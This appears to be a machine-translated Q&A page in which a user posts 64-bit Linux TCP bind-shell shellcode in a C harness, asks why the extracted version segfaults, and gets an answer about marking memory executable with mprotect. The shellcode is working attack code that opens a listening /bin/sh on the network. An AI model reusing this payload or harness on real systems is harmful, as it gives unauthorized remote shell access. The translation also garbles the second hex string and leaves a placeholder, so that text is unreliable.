Question

我正在使用64位

编写TCP绑定Shell

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x31\x48\x89\xe6\x80\xc2\x10\x0f\x05\x99\x6a\x32\x58\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48\x83\xec\x10\x48\x89\xe6\x6a\x10\x48\x89\xe2\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x21\x58\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\xe0\xf2\x48\x31\xf6\x48\xf7\xe6\x66\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05";

main()
{

    printf("Shellcode Length:  %d\n", (int)strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

}

当我尝试运行已编译的可执行文件时，它运行正常。但是，如果我提取shell代码并使用c运行它的抛出分段故障核心。

“\ X48 \ X31 \ XC0 \ X48 \ X31 \ XFF \ X48 \ X31 \ XF6 \ X6A \ X29 \ X58 \ X6A \ X02 \ X5F \ X48 \ XFF \ XC6 \ X0F \ X05 \ X48 \ X97 \ X48 \ X31 \ XC0 \ X89 \ X44 \ X24 \ XFC \ X66 \ xc7 \ X44 \ X24 \ XFA \ X11 \ XC6 \ X44 \ X24 \ XF8 \ X02 \ X48 \ X83 \ XEC \ X08 \ X04 \ X31 \ X48 \ X89 \ XE6 \ X80 \ XC2 \ X10 \ X0F \ X05 \ X99 \ X6A \ X32 \ X58 \ X48 \ X31 \ XF6 \ X48 \ X83 \ XC6 \ X02 \ X0F \ X05 \ X48 \ X31 \ XC0 \ X04 \ X2B \ X48 \ X83 \ XEC \ X10 \ X48 \ X89 \ XE6 \ X6A \ X10 \ X48 \ X89 \ XE2 \ X0F \ X05 \ X49 \ X89 \ XC1 \ X6A \ X03 \ X58 \ X0F \ X05 \ X49 \的x87 \ xf9 \ X48 \ X31 \ XF6 \ X6A \ X21 \ X58 \ X0F \ X05 \ X48 \ XFF \ XC6 \ X48 \ X83 \ XFE \ X02 \ xe0 \ XF2 \ X48 \ X31 \ XC0 \ X48 \ X89 \ XC2 \ X50 \ X48 \ XBB \ X2F \ X62 \ X69 \ x6e \ X2F \ X73 \ X68 \ X53 \ X48 \ X89 \ XE7 \ X50 \ X57 \ X48 \ X89 \ XE6 \ X6A \ X3B \ X58 \ X0F \ X05" ;

帮我弄清楚这个

有什么问题

shellcode.c

{{1}}

Answer 1

好的，这看起来像是在Linux上。你必须使你的堆栈可执行，以使其工作。你基本上必须在你的内存区域调用mprotect（）并将其权限设置为PROT_EXEC和PROT_READ。

http://linux.about.com/library/cmd/blcmdl2_mprotect.htm

当我尝试运行提取的shellcode时即使没有null也会出现分段错误

1 个答案: